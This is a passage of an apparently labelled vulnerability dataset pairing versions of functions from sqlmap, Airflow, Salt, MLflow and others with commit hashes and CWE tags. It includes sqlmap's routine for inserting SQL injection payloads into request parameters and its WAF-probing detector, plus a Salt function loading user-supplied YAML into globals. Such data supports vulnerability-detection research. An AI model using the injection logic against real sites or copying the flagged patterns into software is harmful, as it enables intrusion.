                retVal = _(r""(\A|\b)%s=%s"" % (re.escape(urlencode(parameter)), re.escape(origValue)), ""%s=%s"" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)

        return retVal",,sqlmapproject/sqlmap,77c96de4ea353ab0d5e6237ac2f2b2781cd6622c,"def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """"""
        This method replaces the affected parameter with the SQL
        injection statement to request
        """"""

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = """"

        if where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = getUnicode(paramDict[parameter])

        if place == PLACE.URI:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
                origValue = extractRegexResult(r""(?s)\""\s*:\s*(?P<result>\d+\Z)"", origValue) or extractRegexResult(r'(?s)\s*(?P<result>[^""\[,]+\Z)', origValue)
            else:
                _ = extractRegexResult(r""(?s)(?P<result>[^\s<>{}();'\""&]+\Z)"", origValue) or """"
                origValue = _.split('=', 1)[1] if '=' in _ else """"
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.index(',') + 1:]
            match = re.search(r""([^;]+)=(?P<value>[^;]+);?\Z"", origValue)
            if match:
                origValue = match.group(""value"")
            elif ',' in paramString:
                header = paramString.split(',')[0]

                if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
                    origValue = origValue.split(' ')[-1]

        if conf.prefix:
            value = origValue

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else """"):]
                    _ = randomInt(2)
                    value = ""%s%s AND %s=%s"" % (origValue, match.group() if match else """", _, _ + 1)
                elif conf.invalidBignum:
                    value = randomInt(6)
                elif conf.invalidString:
                    value = randomStr(6)
                else:
                    if newValue.startswith(""-""):
                        value = """"
                    else:
                        value = ""-%s"" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = """"
            else:
                value = origValue

            newValue = ""%s%s"" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = ""%s%s"" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '""%s""' % _ in paramString:
                newValue = '""%s""' % newValue
            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not ""'%s'"" % _ in paramString:
                newValue = ""'%s'"" % newValue
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, """").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            def _(pattern, repl, string):
                retVal = string
                match = None
                for match in re.finditer(pattern, string):
                    pass

                if match:
                    while True:
                        _ = re.search(r""\\g<([^>]+)>"", repl)
                        if _:
                            repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                        else:
                            break
                    retVal = string[:match.start()] + repl + string[match.end():]
                return retVal

            if origValue:
                regex = r""(\A|\b)%s=%s%s"" % (re.escape(parameter), re.escape(origValue), r""(\Z|\b)"" if origValue[-1].isalnum() else """")
                retVal = _(regex, ""%s=%s"" % (parameter, self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)
            else:
                retVal = _(r""(\A|\b)%s=%s(\Z|%s|%s|\s)"" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), ""%s=%s\g<2>"" % (parameter, self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)
            if retVal == paramString and urlencode(parameter) != parameter:
                retVal = _(r""(\A|\b)%s=%s"" % (re.escape(urlencode(parameter)), re.escape(origValue)), ""%s=%s"" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)

        return retVal"
,UNKNOWN,UNKNOWN,tests/executors/test_celery_executor.py,1,"def test_celery_integration(self):
        executor = CeleryExecutor()
        executor.start()
        with start_worker(app=app, logfile=sys.stdout, loglevel='debug'):

            success_command = ['true', 'some_parameter']
            fail_command = ['false', 'some_parameter']

            executor.execute_async(key='success', command=success_command)
            # errors are propagated for some reason
            try:
                executor.execute_async(key='fail', command=fail_command)
            except:
                pass
            executor.running['success'] = True
            executor.running['fail'] = True

            executor.end(synchronous=True)

        self.assertTrue(executor.event_buffer['success'], State.SUCCESS)
        self.assertTrue(executor.event_buffer['fail'], State.FAILED)

        self.assertNotIn('success', executor.tasks)
        self.assertNotIn('fail', executor.tasks)

        self.assertNotIn('success', executor.last_state)
        self.assertNotIn('fail', executor.last_state)",CWE-703,apache/airflow,9a510086f1eb2ac6c7507c2c09a995e7e56c69a0,"def test_celery_integration(self):
        executor = CeleryExecutor()
        executor.start()
        with start_worker(app=app, logfile=sys.stdout, loglevel='debug'):

            success_command = ['true', ]
            fail_command = ['false', ]

            executor.execute_async(key='success', command=success_command)
            # errors are propagated for some reason
            try:
                executor.execute_async(key='fail', command=fail_command)
            except:
                pass
            executor.running['success'] = True
            executor.running['fail'] = True

            executor.end(synchronous=True)

        self.assertTrue(executor.event_buffer['success'], State.SUCCESS)
        self.assertTrue(executor.event_buffer['fail'], State.FAILED)

        self.assertNotIn('success', executor.tasks)
        self.assertNotIn('fail', executor.tasks)

        self.assertNotIn('success', executor.last_state)
        self.assertNotIn('fail', executor.last_state)"
,UNKNOWN,UNKNOWN,tests/cli/test_cli_parser.py,1,"def test_non_existing_directory_raises_when_metavar_is_dir_for_db_export_cleaned(self):
        """"""Test that the error message is correct when the directory does not exist.""""""
        with contextlib.redirect_stderr(io.StringIO()) as stderr:
            with pytest.raises(SystemExit):
                parser = cli_parser.get_parser()
                parser.parse_args([""db"", ""export-archived"", ""--output-path"", ""/non/existing/directory""])
            error_msg = stderr.getvalue()

        assert error_msg == (
            ""\nairflow db export-archived command error: The directory ""
            ""'/non/existing/directory' does not exist!, see help above.\n""
        )",CWE-703,apache/airflow,0b9dc1a806f3818c07934b8b7d6a15c56ed9874d,"def test_non_existing_directory_raises_when_metavar_is_dir_for_db_export_cleaned(self):
        """"""Test that the error message is correct when the directory does not exist.""""""
        with contextlib.redirect_stderr(io.StringIO()) as stderr:
            with pytest.raises(SystemExit):
                parser = cli_parser.get_parser()
                parser.parse_args([""db"", ""export-cleaned"", ""--output-path"", ""/non/existing/directory""])
            error_msg = stderr.getvalue()

        assert error_msg == (
            ""\nairflow db export-cleaned command error: The directory ""
            ""'/non/existing/directory' does not exist!, see help above.\n""
        )"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/plugins/output_plugin.py,0,"def _clean_string(self, string_to_clean):
        """"""
        :param string_to_clean: A string that should be cleaned before using
                                it in a message object.
        """"""
        # https://github.com/andresriancho/w3af/issues/3586
        if string_to_clean is None:
            return ''

        # Not converting these: ('\n','\\n'),('\r','\\r')
        for char, replace in [('\0', '\\0'), ('\t', '\\t')]:
            string_to_clean = string_to_clean.replace(char, replace)

        return string_to_clean",,andresriancho/w3af,7abcc460b392f0e8d59bc9e2e08f8d0d08597a8f,"def _clean_string(self, string_to_clean):
        """"""
        :param string_to_clean: A string that should be cleaned before using
                                it in a message object.
        """"""
        # ('\n','\\n'),('\r','\\r')
        for char, replace in [('\0', '\\0'), ('\t', '\\t')]:
            string_to_clean = string_to_clean.replace(char, replace)
        return string_to_clean"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/chinacache.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval |= code >= 400 and headers.get(""Powered-By-ChinaCache"") is not None

        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval = code >= 400 and headers.get(""Powered-By-ChinaCache"") is not None

        if retval:
            break

    return retval"
,UNKNOWN,UNKNOWN,tests/tracing/export/test_mlflow_v3_exporter.py,1,"def test_export(is_async, monkeypatch):
    monkeypatch.setenv(""DATABRICKS_HOST"", ""dummy-host"")
    monkeypatch.setenv(""DATABRICKS_TOKEN"", ""dummy-token"")
    monkeypatch.setenv(""MLFLOW_ENABLE_ASYNC_TRACE_LOGGING"", str(is_async))

    mlflow.tracing.set_destination(Databricks(experiment_id=_EXPERIMENT_ID))

    trace_info = None

    def mock_response(credentials, path, method, trace_json, *args, **kwargs):
        nonlocal trace_info
        trace_dict = json.loads(trace_json)
        trace_proto = ParseDict(trace_dict[""trace""], pb.Trace())
        trace_info_proto = ParseDict(trace_dict[""trace""][""trace_info""], pb.TraceInfoV3())
        trace_info = TraceInfo.from_proto(trace_info_proto)
        return pb.StartTraceV3.Response(trace=trace_proto)

    with (
        mock.patch(
            ""mlflow.store.tracking.rest_store.call_endpoint"", side_effect=mock_response
        ) as mock_call_endpoint,
        mock.patch(
            ""mlflow.tracing.client.TracingClient._upload_trace_data"", return_value=None
        ) as mock_upload_trace_data,
    ):
        _predict(""hello"")

        if is_async:
            _flush_async_logging()

    # Verify client methods were called correctly
    mock_call_endpoint.assert_called_once()
    mock_upload_trace_data.assert_called_once()

    # Access the trace that was passed to _start_trace_v3
    endpoint = mock_call_endpoint.call_args.args[1]
    assert endpoint == ""/api/3.0/mlflow/traces""
    trace_info_dict = trace_info.to_dict()
    trace_data = mock_upload_trace_data.call_args.args[1]

    # Basic validation of the trace object
    assert trace_info.trace_id is not None

    assert TraceMetadataKey.SIZE_BYTES in trace_info_dict[""trace_metadata""]
    size_bytes = int(trace_info_dict[""trace_metadata""][TraceMetadataKey.SIZE_BYTES])
    trace_for_expected_size = Trace(info=trace_info, data=trace_data)
    del trace_for_expected_size.info.trace_metadata[TraceMetadataKey.SIZE_BYTES]
    actual_size_bytes = len(trace_for_expected_size.to_json().encode(""utf-8""))
    assert size_bytes == actual_size_bytes

    # Validate the data was passed to upload_trace_data
    call_args = mock_upload_trace_data.call_args
    assert isinstance(call_args.args[0], TraceInfo)
    assert call_args.args[0].trace_id == trace_info.trace_id

    # We don't need to validate the exact JSON structure anymore since
    # we're testing the client methods directly, not the HTTP request

    # Last active trace ID should be set
    assert mlflow.get_last_active_trace_id() is not None",CWE-703,mlflow/mlflow,9faf8b2d0f15fe01dd556e3a089e9b094e631e40,"def test_export(is_async, monkeypatch):
    monkeypatch.setenv(""DATABRICKS_HOST"", ""dummy-host"")
    monkeypatch.setenv(""DATABRICKS_TOKEN"", ""dummy-token"")
    monkeypatch.setenv(""MLFLOW_ENABLE_ASYNC_TRACE_LOGGING"", str(is_async))

    mlflow.tracing.set_destination(Databricks(experiment_id=_EXPERIMENT_ID))

    trace_info = None

    def mock_response(credentials, path, method, trace_json, *args, **kwargs):
        nonlocal trace_info
        trace_dict = json.loads(trace_json)
        trace_proto = ParseDict(trace_dict[""trace""], pb.Trace())
        trace_info_proto = ParseDict(trace_dict[""trace""][""trace_info""], pb.TraceInfoV3())
        trace_info = TraceInfo.from_proto(trace_info_proto)
        return pb.StartTraceV3.Response(trace=trace_proto)

    with (
        mock.patch(
            ""mlflow.store.tracking.rest_store.call_endpoint"", side_effect=mock_response
        ) as mock_call_endpoint,
        mock.patch(
            ""mlflow.tracing.client.TracingClient._upload_trace_data"", return_value=None
        ) as mock_upload_trace_data,
    ):
        _predict(""hello"")

        if is_async:
            _flush_async_logging()

    # Verify client methods were called correctly
    mock_call_endpoint.assert_called_once()
    mock_upload_trace_data.assert_called_once()

    # Access the trace that was passed to _start_trace_v3
    endpoint = mock_call_endpoint.call_args.args[1]
    assert endpoint == ""/api/3.0/mlflow/traces""
    trace_info_dict = trace_info.to_dict()
    trace_data = mock_upload_trace_data.call_args.args[1]

    # Basic validation of the trace object
    assert trace_info.trace_id is not None

    assert TraceMetadataKey.SIZE_BYTES in trace_info_dict[""trace_metadata""]
    size_bytes = int(trace_info_dict[""trace_metadata""][TraceMetadataKey.SIZE_BYTES])
    trace_for_expected_size = Trace(info=trace_info, data=trace_data)
    del trace_for_expected_size.info.trace_metadata[TraceMetadataKey.SIZE_BYTES]
    actual_size_bytes = len(trace_for_expected_size.to_json().encode(""utf-8""))
    assert size_bytes == actual_size_bytes

    # Validate the data was passed to upload_trace_data
    call_args = mock_upload_trace_data.call_args
    assert isinstance(call_args.args[0], TraceInfo)
    assert call_args.args[0].trace_id == trace_info.trace_id

    # We don't need to validate the exact JSON structure anymore since
    # we're testing the client methods directly, not the HTTP request

    # Last active trace ID should be set
    assert mlflow.get_last_active_trace_id() is not None"
,UNKNOWN,UNKNOWN,salt/modules/junos.py,1,"def get_table(
    table,
    table_file,
    path=None,
    target=None,
    key=None,
    key_items=None,
    filters=None,
    table_args=None,
):
    """"""
    .. versionadded:: Sodium

    Retrieve data from a Junos device using Tables/Views

    table (required)
        Name of PyEZ Table

    table_file (required)
        YAML file that has the table specified in table parameter

    path:
        Path of location of the YAML file.
        defaults to op directory in jnpr.junos.op

    target:
        if command need to run on FPC, can specify fpc target

    key:
        To overwrite key provided in YAML

    key_items:
        To select only given key items

    filters:
        To select only filter for the dictionary from columns

    table_args:
        key/value pair which should render Jinja template command
        or are passed as args to rpc call in op table

    CLI Example:

    .. code-block:: bash

        salt 'device_name' junos.get_table RouteTable routes.yml
    """"""
    conn = __proxy__[""junos.conn""]()
    ret = {}
    ret[""out""] = True
    ret[""hostname""] = conn._hostname
    ret[""tablename""] = table
    get_kvargs = {}
    if target is not None:
        get_kvargs[""target""] = target
    if key is not None:
        get_kvargs[""key""] = key
    if key_items is not None:
        get_kvargs[""key_items""] = key_items
    if filters is not None:
        get_kvargs[""filters""] = filters
    if table_args is not None and isinstance(table_args, dict):
        get_kvargs[""args""] = table_args
    pyez_tables_path = os.path.dirname(os.path.abspath(tables_dir.__file__))
    try:
        if path is not None:
            file_loc = glob.glob(os.path.join(path, ""{0}"".format(table_file)))
        else:
            file_loc = glob.glob(
                os.path.join(pyez_tables_path, ""{0}"".format(table_file))
            )
        if len(file_loc) == 1:
            file_name = file_loc[0]
        elif len(file_loc) > 1:
            ret[""message""] = (
                ""Given table file {0} is located at multiple location"".format(table_file)
            )
            ret[""out""] = False
            return ret
        elif len(file_loc) == 0:
            ret[""message""] = ""Given table file {0} cannot be located"".format(table_file)
            ret[""out""] = False
            return ret
        try:
            with salt.utils.files.fopen(file_name) as fp:
                ret[""table""] = yaml.load(fp.read(), Loader=yamlordereddictloader.Loader)
                globals().update(FactoryLoader().load(ret[""table""]))
        except IOError as err:
            ret[
                ""message""
            ] = ""Uncaught exception during YAML Load - please report: {0}"".format(
                six.text_type(err)
            )
            ret[""out""] = False
            return ret
        try:
            data = globals()[table](conn)
            data.get(**get_kvargs)
        except KeyError as err:
            ret[
                ""message""
            ] = ""Uncaught exception during get API call - please report: {0}"".format(
                six.text_type(err)
            )
            ret[""out""] = False
            return ret
        except ConnectClosedError:
            ret[
                ""message""
            ] = ""Got ConnectClosedError exception. Connection lost with {}"".format(conn)
            ret[""out""] = False
            return ret
        ret[""reply""] = json.loads(data.to_json())
        if data.__class__.__bases__[0] in [OpTable, CfgTable]:
            # Sets key value if not present in YAML. To be used by returner
            if ret[""table""][table].get(""key"") is None:
                ret[""table""][table][""key""] = data.ITEM_NAME_XPATH
            # If key is provided from salt state file.
            if key is not None:
                ret[""table""][table][""key""] = data.KEY
            if table_args is not None:
                args = copy.copy(data.GET_ARGS)
                args.update(table_args)
                ret[""table""][table][""args""] = args
        else:
            if target is not None:
                ret[""table""][table][""target""] = data.TARGET
            if key is not None:
                ret[""table""][table][""key""] = data.KEY
            if key_items is not None:
                ret[""table""][table][""key_items""] = data.KEY_ITEMS
            if table_args is not None:
                args = copy.copy(data.CMD_ARGS)
                args.update(table_args)
                ret[""table""][table][""args""] = args
                ret[""table""][table][""command""] = data.GET_CMD
    except ConnectClosedError:
        ret[""message""] = (
            ""Got ConnectClosedError exception. Connection lost "" ""with {0}"".format(
                str(conn)))
        ret[""out""] = False
        return ret
    except Exception as err:  # pylint: disable=broad-except
        ret[""message""] = ""Uncaught exception - please report: {0}"".format(str(err))
        traceback.print_exc()
        ret[""out""] = False
        return ret
    return ret",CWE-20,saltstack/salt,6ad98a4b4f1f95bdb19dd3f664e6bf46a7bd0d5f,"def get_table(
    table,
    table_file,
    path=None,
    target=None,
    key=None,
    key_items=None,
    filters=None,
    table_args=None,
):
    """"""
    .. versionadded:: Sodium

    Retrieve data from a Junos device using Tables/Views

    table (required)
        Name of PyEZ Table

    table_file (required)
        YAML file that has the table specified in table parameter

    path:
        Path of location of the YAML file.
        defaults to op directory in jnpr.junos.op

    target:
        if command need to run on FPC, can specify fpc target

    key:
        To overwrite key provided in YAML

    key_items:
        To select only given key items

    filters:
        To select only filter for the dictionary from columns

    table_args:
        key/value pair which should render Jinja template command
        or are passed as args to rpc call in op table

    CLI Example:

    .. code-block:: bash

        salt 'device_name' junos.get_table RouteTable routes.yml
    """"""
    conn = __proxy__[""junos.conn""]()
    ret = {}
    ret[""out""] = True
    ret[""hostname""] = conn._hostname
    ret[""tablename""] = table
    get_kvargs = {}
    if target is not None:
        get_kvargs[""target""] = target
    if key is not None:
        get_kvargs[""key""] = key
    if key_items is not None:
        get_kvargs[""key_items""] = key_items
    if filters is not None:
        get_kvargs[""filters""] = filters
    if table_args is not None and isinstance(table_args, dict):
        get_kvargs[""args""] = table_args
    pyez_tables_path = os.path.dirname(os.path.abspath(tables_dir.__file__))
    try:
        if path is not None:
            file_loc = glob.glob(os.path.join(path, ""{}"".format(table_file)))
        else:
            file_loc = glob.glob(
                os.path.join(pyez_tables_path, ""{}"".format(table_file))
            )
        if len(file_loc) == 1:
            file_name = file_loc[0]
        elif len(file_loc) > 1:
            ret[""message""] = (
                ""Given table file %s is located at multiple location"" % table_file
            )
            ret[""out""] = False
            return ret
        elif len(file_loc) == 0:
            ret[""message""] = ""Given table file %s cannot be located"" % table_file
            ret[""out""] = False
            return ret
        try:
            with salt.utils.files.fopen(file_name) as fp:
                ret[""table""] = yaml.load(fp.read(), Loader=yamlordereddictloader.Loader)
                globals().update(FactoryLoader().load(ret[""table""]))
        except IOError as err:
            ret[
                ""message""
            ] = ""Uncaught exception during YAML Load - please report: {0}"".format(
                six.text_type(err)
            )
            ret[""out""] = False
            return ret
        try:
            data = globals()[table](conn)
            data.get(**get_kvargs)
        except KeyError as err:
            ret[
                ""message""
            ] = ""Uncaught exception during get API call - please report: {0}"".format(
                six.text_type(err)
            )
            ret[""out""] = False
            return ret
        except ConnectClosedError:
            ret[
                ""message""
            ] = ""Got ConnectClosedError exception. Connection lost with {}"".format(conn)
            ret[""out""] = False
            return ret
        ret[""reply""] = json.loads(data.to_json())
        if data.__class__.__bases__[0] in [OpTable, CfgTable]:
            # Sets key value if not present in YAML. To be used by returner
            if ret[""table""][table].get(""key"") is None:
                ret[""table""][table][""key""] = data.ITEM_NAME_XPATH
            # If key is provided from salt state file.
            if key is not None:
                ret[""table""][table][""key""] = data.KEY
            if table_args is not None:
                args = copy.copy(data.GET_ARGS)
                args.update(table_args)
                ret[""table""][table][""args""] = args
        else:
            if target is not None:
                ret[""table""][table][""target""] = data.TARGET
            if key is not None:
                ret[""table""][table][""key""] = data.KEY
            if key_items is not None:
                ret[""table""][table][""key_items""] = data.KEY_ITEMS
            if table_args is not None:
                args = copy.copy(data.CMD_ARGS)
                args.update(table_args)
                ret[""table""][table][""args""] = args
                ret[""table""][table][""command""] = data.GET_CMD
    except ConnectClosedError:
        ret[""message""] = (
            ""Got ConnectClosedError exception. Connection lost "" ""with %s"" % conn
        )
        ret[""out""] = False
        return ret
    except Exception as err:  # pylint: disable=broad-except
        ret[""message""] = ""Uncaught exception - please report: {0}"".format(str(err))
        traceback.print_exc()
        ret[""out""] = False
        return ret
    return ret"
,UNKNOWN,UNKNOWN,tests/sklearn/test_sklearn_autolog.py,1,"def test_autolog_disabled_on_sklearn_cross_val_api(cross_val_func_name):
    mlflow.sklearn.autolog()
    from sklearn import linear_model

    def assert_autolog_disabled_during_exec_cross_val_fun(run_):
        params, metrics, tags, artifacts = get_run_data(run_.info.run_id)
        assert params == {} and metrics == {} and tags == {} and artifacts == []

    diabetes = sklearn.datasets.load_diabetes()
    X = diabetes.data[:150]
    y = diabetes.target[:150]
    lasso = linear_model.Lasso()

    if cross_val_func_name == ""validation_curve"":
        extra_params = {""param_name"": ""max_iter"", ""param_range"": [10, 100]}
    else:
        extra_params = {}

    cross_val_func = getattr(sklearn.model_selection, cross_val_func_name)
    with mlflow.start_run() as run:
        cross_val_func(lasso, X, y, cv=3, **extra_params)
        assert_autolog_disabled_during_exec_cross_val_fun(run)

    # Ensure cross_val_func doesn't start a new run
    exp_id = mlflow.tracking.fluent._get_experiment_id()
    runs_before = mlflow.search_runs([exp_id])
    cross_val_func(lasso, X, y, cv=3, **extra_params)
    runs_after = mlflow.search_runs([exp_id])
    assert len(runs_before) == len(runs_after)",CWE-703,mlflow/mlflow,d97e68b9b0646cb6754461d411a0ce54ea5ae9c7,"def test_autolog_disabled_on_sklearn_cross_val_api(cross_val_func_name):
    mlflow.sklearn.autolog()
    from sklearn import linear_model

    def assert_autolog_disabled_during_exec_cross_val_fun(run_):
        params, metrics, tags, artifacts = get_run_data(run_.info.run_id)
        assert params == {} and metrics == {} and tags == {} and artifacts == []

    diabetes = sklearn.datasets.load_diabetes()
    X = diabetes.data[:150]
    y = diabetes.target[:150]
    lasso = linear_model.Lasso()

    if cross_val_func_name == ""validation_curve"":
        extra_params = {""param_name"": ""max_iter"", ""param_range"": [10, 100]}
    else:
        extra_params = {}

    cross_val_func = getattr(sklearn.model_selection, cross_val_func_name)
    with mlflow.start_run() as run:
        cross_val_func(lasso, X, y, cv=3, **extra_params)
        assert_autolog_disabled_during_exec_cross_val_fun(run)

    # Ensure cross_val_func doesn't start a new run
    exp_id = mlflow.tracking.fluent._get_experiment_id()
    runs_info_before = mlflow.list_run_infos(exp_id)
    cross_val_func(lasso, X, y, cv=3, **extra_params)
    runs_info_after = mlflow.list_run_infos(exp_id)
    assert len(runs_info_before) == len(runs_info_after)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/jid.py,0,"def gen_jid(opts=None):
    '''
    Generate a jid
    '''
    if opts is None:
        salt.utils.versions.warn_until(
            'Sodium',
            'The `opts` argument was not passed into salt.utils.jid.gen_jid(). '
            'This will be required starting in {version}.'
        )
        opts = {}
    global LAST_JID_DATETIME  # pylint: disable=global-statement

    if opts.get('utc_jid', False):
        jid_dt = datetime.datetime.utcnow()
    else:
        jid_dt = datetime.datetime.now()
    if not opts.get('unique_jid', False):
        return '{0:%Y%m%d%H%M%S%f}'.format(jid_dt)
    if LAST_JID_DATETIME and LAST_JID_DATETIME >= jid_dt:
        jid_dt = LAST_JID_DATETIME + datetime.timedelta(microseconds=1)
    LAST_JID_DATETIME = jid_dt
    return '{0:%Y%m%d%H%M%S%f}_{1}'.format(jid_dt, os.getpid())",,saltstack/salt,02e8de1431a0881e290d96a4008c8f2a2589806e,"def gen_jid(opts=None):
    '''
    Generate a jid
    '''
    if opts is None:
        salt.utils.versions.warn_until(
            'Sodium',
            'The `opts` argument was not passed into salt.utils.jid.gen_jid(). '
            'This will be required starting in {version}.'
        )
        opts = {}
    global LAST_JID_DATETIME  # pylint: disable=global-statement

    if not opts.get('unique_jid', False):
        return '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.now())
    jid_dt = datetime.datetime.now()
    if LAST_JID_DATETIME and LAST_JID_DATETIME >= jid_dt:
        jid_dt = LAST_JID_DATETIME + datetime.timedelta(microseconds=1)
    LAST_JID_DATETIME = jid_dt
    return '{0:%Y%m%d%H%M%S%f}_{1}'.format(jid_dt, os.getpid())"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_dag_run_endpoint.py,1,"def test_action_logging(self, state, run_type, dag_maker, session):
        dag_id = ""TEST_DAG_ID""
        dag_run_id = ""TEST_DAG_RUN_ID""
        with dag_maker(dag_id) as dag:
            task = EmptyOperator(task_id=""task_id"", dag=dag)
        self.app.dag_bag.bag_dag(dag)
        dr = dag_maker.create_dagrun(run_id=dag_run_id, run_type=run_type)
        ti = dr.get_task_instance(task_id=""task_id"")
        ti.task = task
        ti.state = State.RUNNING
        session.merge(ti)
        session.commit()

        request_json = {""state"": state}

        self.client.patch(
            f""api/v1/dags/{dag_id}/dagRuns/{dag_run_id}"",
            json=request_json,
            environ_overrides={""REMOTE_USER"": ""test""},
        )

        log = (
            session.query(Log)
            .filter(
                Log.dag_id == dag_id,
                Log.run_id == dag_run_id,
                Log.event == ""api.update_dag_run_state"",
            )
            .order_by(Log.id.desc())
            .first()
        )
        assert log.extra == json.dumps(request_json)

        self.client.patch(
            f""api/v1/dags/{dag_id}/dagRuns/{dag_run_id}"",
            json=request_json,
            environ_overrides={""REMOTE_USER"": ""test""},
            headers={""content-type"": ""application/json; charset=utf-8""},
        )

        log = (
            session.query(Log)
            .filter(
                Log.dag_id == dag_id,
                Log.run_id == dag_run_id,
                Log.event == ""api.update_dag_run_state"",
            )
            .order_by(Log.id.desc())
            .first()
        )
        assert log.extra == json.dumps(request_json)",CWE-703,apache/airflow,4c01f7d16be11eafc0df9b1acf3c0af4af569611,"def test_action_logging(self, state, run_type, dag_maker, session):
        dag_id = ""TEST_DAG_ID""
        dag_run_id = ""TEST_DAG_RUN_ID""
        with dag_maker(dag_id) as dag:
            task = EmptyOperator(task_id=""task_id"", dag=dag)
        self.app.dag_bag.bag_dag(dag, root_dag=dag)
        dr = dag_maker.create_dagrun(run_id=dag_run_id, run_type=run_type)
        ti = dr.get_task_instance(task_id=""task_id"")
        ti.task = task
        ti.state = State.RUNNING
        session.merge(ti)
        session.commit()

        request_json = {""state"": state}

        self.client.patch(
            f""api/v1/dags/{dag_id}/dagRuns/{dag_run_id}"",
            json=request_json,
            environ_overrides={""REMOTE_USER"": ""test""},
        )

        log = (
            session.query(Log)
            .filter(
                Log.dag_id == dag_id,
                Log.run_id == dag_run_id,
                Log.event == ""api.update_dag_run_state"",
            )
            .order_by(Log.id.desc())
            .first()
        )
        assert log.extra == json.dumps(request_json)

        self.client.patch(
            f""api/v1/dags/{dag_id}/dagRuns/{dag_run_id}"",
            json=request_json,
            environ_overrides={""REMOTE_USER"": ""test""},
            headers={""content-type"": ""application/json; charset=utf-8""},
        )

        log = (
            session.query(Log)
            .filter(
                Log.dag_id == dag_id,
                Log.run_id == dag_run_id,
                Log.event == ""api.update_dag_run_state"",
            )
            .order_by(Log.id.desc())
            .first()
        )
        assert log.extra == json.dumps(request_json)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/basic.py,0,"def warn(self, warning):
        warn(warning)
        self.log('[WARNING] %s' % warning)",,ansible/ansible,ea04e0048dbb3b63f876aad7020e1de8eee9f362,"def warn(self, warning):
        warn(warning)
        self.log('[WARNING] %s' % warning)"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/models/test_backfill.py,1,"def create_next_run(
    *, is_backfill: bool, next_date: datetime, dag_id: str, dag_maker, reprocess=None, session: Session
):
    """"""Used in test_ignore_first_depends_on_past to create the next run after a failed run.""""""
    if is_backfill:
        b = _create_backfill(
            dag_id=dag_id,
            from_date=next_date,
            to_date=next_date + timedelta(days=1),
            max_active_runs=2,
            reverse=False,
            dag_run_conf=None,
            reprocess_behavior=reprocess,
        )
        assert b
        # and grab the first dag run from this backfill run
        next_run = session.scalar(
            select(DagRun)
            .join(BackfillDagRun.dag_run)
            .where(DagRun.backfill_id == b.id)
            .order_by(BackfillDagRun.sort_ordinal)
            .limit(1)
        )
        return next_run
    dr = dag_maker.create_dagrun(logical_date=next_date, run_id=""second_run"")
    return dr",CWE-703,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def create_next_run(
    *, is_backfill: bool, next_date: datetime, dag_id: str, dag_maker, reprocess=None, session: Session
):
    """"""Used in test_ignore_first_depends_on_past to create the next run after a failed run.""""""
    if is_backfill:
        b = _create_backfill(
            dag_id=dag_id,
            from_date=next_date,
            to_date=next_date + timedelta(days=1),
            max_active_runs=2,
            reverse=False,
            dag_run_conf=None,
            reprocess_behavior=reprocess,
        )
        assert b
        # and grab the first dag run from this backfill run
        next_run = session.scalar(
            select(DagRun)
            .join(BackfillDagRun.dag_run)
            .where(DagRun.backfill_id == b.id)
